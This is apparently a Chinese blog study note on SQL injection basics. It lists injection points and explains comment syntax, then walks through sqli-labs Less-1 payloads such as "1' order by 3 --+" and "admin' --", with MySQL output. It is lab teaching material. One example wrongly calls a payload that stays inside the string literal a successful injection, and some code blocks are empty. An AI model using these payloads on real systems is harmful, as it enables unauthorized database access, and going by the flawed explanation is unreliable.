[案头笔记]Sql注入篇-02注入思路与环境准备
sql注入思路
我们可以在应用程序的输入字段中注入恶意SQL命令,以此来控制或访问存储在数据库中的敏感数据。注入点的可能位置主要在于用户可控参数中,这些参数如果没有经过适当的处理和转义,就会成为SQL注入的目标。以下是一些常见的注入点:
GET数据:例如,一个URL
http://example.com/index.php?id=1
可以被修改为http://example.com/index.php?id=1 OR 1=1
。这里,OR 1=1
是一个恒真条件,可能会导致查询返回所有记录,而不仅仅是id为1的记录。POST数据:假设一个登录表单通过POST方法提交用户名和密码。攻击者可以在用户名字段中输入
admin' --
。这里,' --
会注释掉原始SQL查询的其余部分,可能导致不论密码是什么都可以登录admin账户。HTTP头部:攻击者可能修改HTTP头部中的User-Agent字段,将其设置为包含SQL语句的字符串。例如,如果Web应用程序将User-Agent日志存储在数据库中且未对其进行适当的处理,则这可能导致SQL注入。
Cookie数据:如果Web应用程序使用Cookie来存储用户的某些偏好设置,并且这些设置在查询数据库时被使用,攻击者可以修改自己的Cookie,插入SQL代码。例如,如果Cookie值被直接用于数据库查询,攻击者可以通过篡改Cookie值来操纵这些查询。
修改源码
为了方便后续的学习,我们需要修改一下源码以便更直观的查看
1 |
|
1 |
|
sql注入中关于–+的问题
**– (双破折号)**:
- 作用:在MySQL中,
--
是一种注释符。它告诉数据库忽略其后的所有内容,直到行末。 - 使用要点:为了使
--
成为有效的注释,其后必须紧跟一个空格。在SQL注入中,这可以用来注释掉原始SQL语句的一部分,从而改变查询的行为。例如,在注入点后加入--
会使得原始的SQL语句后续部分被忽略。
- 作用:在MySQL中,
**+ (加号)**:
- 作用:在URL中,
+
符号通常被解释为一个空格。 - 使用要点:由于直接在URL中使用空格可能会导致问题(例如,空格可能被浏览器或服务器编码或解释不当),
+
可用于确保注释符--
后面有一个空格,从而激活注释功能。
- 作用:在URL中,
**’ (单引号)**:
- 作用:单引号在SQL中用于界定字符串。
- 使用要点:在SQL注入中,
'
可以用来结束当前的字符串字面量,从而使攻击者能够插入额外的SQL命令。例如,如果原始查询是WHERE id='[用户输入]'
,攻击者可以通过输入1'
来结束id
值的字符串字面量,并接着插入自己的SQL代码。
让我们分析这些SQL注入示例以及它们的区别:
理解您的需求,按照提供的格式,这里是完整的SQL注入示例说明:
正常情况:
1
2
3
4http://10.211.55.4/sql/Less-1/?id=1
有效输入值:1
被执行的SQL语句:SELECT * FROM users WHERE id='1' LIMIT 0,1;- 注释:没有SQL注入,这是一个标准的数据库查询请求。
1
2
3
4
5
6
7mysql> SELECT * FROM users WHERE id='1' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.01 sec)注入示例:使用
--+
进行注释:1
2
3
4http://10.211.55.4/sql/Less-1/?id=1' order by 3 --+
有效输入值:1' order by 3 --
被执行的SQL语句:SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1;- 注释:这个示例中,攻击者通过加入
' order by 3 --
成功地改变了原始查询的行为。URL中的+
被用作空格,以确保--
之后的部分被视为注释。
1
2
3
4
5
6
7mysql> SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.02 sec)- 注释:这个示例中,攻击者通过加入
注入示例:使用
--'
进行注释:1
2
3
4http://10.211.55.4/sql/Less-1/?id=1' order by 3 --'
有效输入值:1' order by 3 --'
被执行的SQL语句:SELECT * FROM users WHERE id='1' order by 3 --'' LIMIT 0,1;- 注释:在这个例子中,攻击者使用
--'
来注释掉后面的SQL语句部分。尽管多了一个单引号,攻击者仍然成功地改变了查询的结构和结果。
1
2
3
4
5
6
7mysql> SELECT * FROM users WHERE id='1' order by 3 --'' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.06 sec)- 注释:在这个例子中,攻击者使用
注入示例:无单引号,使用
--+
进行注释:1
2
3
4http://10.211.55.4/sql/Less-1/?id=1 order by 3 --+
有效输入值:1 order by 3 --
被执行的SQL语句:SELECT * FROM users WHERE id='1 order by 3 -- ' LIMIT 0,1;- 注释:在这个示例中,攻击者没有使用单引号,但仍然通过
order by 3 --
实现了SQL注入,演示了即使在没有明显结束字符串字面量的情况下,注入仍可成功。
1
2
3
4
5
6
7mysql> SELECT * FROM users WHERE id='1 order by 3 -- ' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.01 sec)- 注释:在这个示例中,攻击者没有使用单引号,但仍然通过
注入示例:单引号,使用
--'
进行注释,引发错误:1
2
3
4
5http://10.211.55.4/sql/Less-1/?id=1 order by 3 --'
有效输入值:1 order by 3 --'
被执行的SQL语句:SELECT * FROM users WHERE id='1 order by 3 --'' LIMIT 0,1;
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1 order by 3 --'' LIMIT 0,1' at line 1
- 注释:这个示例中尝试了类似的注入,但由于额外的单引号,造成了SQL语法错误。
1 |
|
注入示例:使用双单引号
--''
进行注释:1
2
3
4http://10.211.55.4/sql/Less-1/?id=1 order by 3 --''
有效输入值:1 order by 3 --''
被执行的SQL语句:SELECT * FROM users WHERE id='1 order by 3 --''' LIMIT 0,1;
- 注释:在这个示例中,攻击者使用了双单引号
--''
来注释掉后面的SQL语句部分。这种注入成功地改变了查询的结构,导致了不同的结果。
1 |
|
这些详细的示例展示了SQL注入的不同方式,以及它们如何影响数据库查询的结果。
information_schema
待补充